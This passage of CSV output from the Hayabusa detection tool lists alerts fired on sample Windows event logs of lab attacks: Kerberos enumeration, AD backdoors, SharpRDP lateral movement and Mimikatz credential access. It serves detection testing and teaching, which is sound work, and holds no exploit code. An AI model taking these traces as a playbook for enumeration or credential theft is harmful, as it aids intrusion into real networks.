admmig@OFFSEC.LAN : Service: WEBIIS01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.885 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.887 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: FS03VULN$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.887 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.912 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ROOTDC2$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.939 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.949 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.950 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.951 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:05.016 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ROOTDC2$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:58.983 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:59.810 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:57:38.917 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 59919 : LogonID: 0x64f5bad,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.334 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 59920 : LogonID: 0x64f5bf1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.365 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 59921 : LogonID: 0x64f5c04,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.430 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.430 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.714 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 59993 : LogonID: 0x64f5c7f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.723 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 60017 : LogonID: 0x64f5cb1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.725 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 60018 : LogonID: 0x64f5cc8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.728 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 60019 : LogonID: 0x64f5cf4,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.825 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:52.909 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: ATACORE01$ : Workstation: - : IP Address: 10.23.42.30 : Port: 62476 : LogonID: 0x64f5ef5,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:58:11.977 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 59641 : LogonID: 0x64f6471,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:58:11.981 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: ROOTDC1$ : Workstation: - : IP Address: fe80::1cae:5aa4:9d8d:106a : Port: 51370 : LogonID: 0x64f64a3,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:58:12.004 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 59643 : LogonID: 0x64f64ca,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:58:12.005 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 59644 : LogonID: 0x64f64e1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:58:12.005 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 59645 : LogonID: 0x64f64f3,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 06:22:31.163 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4738,5136-SPN set on user account.evtx" +2020-07-10 06:25:41.773 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4738,5136-SPN set on user account.evtx" +2020-07-10 07:00:14.124 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:14.195 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.584 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\windows\system32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.591 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.591 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.591 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:28.307 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:28.458 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:31.217 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\windows\system32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:31.217 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:31.218 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:42.919 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:43.042 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.589 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.590 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.590 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.590 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:48.105 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: c:\windows\system32\notepad.exe : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:01.154 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:01.337 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.898 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.899 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.900 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.902 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:06.427 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\windows\system32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:02:42.085 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:05:58.373 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:07.487 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Explorer.EXE : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\userinit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:14.112 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:14.229 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:20.184 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:20.185 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:20.185 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:07:33.800 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 19:20:34.910 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: rdpclip : Path: C:\Windows\System32\rdpclip.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\System32\svchost.exe -k NetworkService -s TermService,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:35.886 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:35.913 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.637 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""\\tsclient\c\temp\stack\a.exe"" : Path: \\tsclient\c\temp\stack\a.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.672 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.672 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.672 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:58.942 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-11 22:21:11.693 +09:00,wec02,70,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-11 22:21:11.693 +09:00,wec02,70,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-11 22:21:17.514 +09:00,wec02,70,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-11 22:21:17.514 +09:00,wec02,70,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-11 22:21:18.640 +09:00,wec02,70,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-11 22:21:18.640 +09:00,wec02,70,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-12 02:16:42.576 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5142- New file share created.evtx +2020-07-12 02:16:42.592 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5142- New file share created.evtx +2020-07-12 02:16:50.984 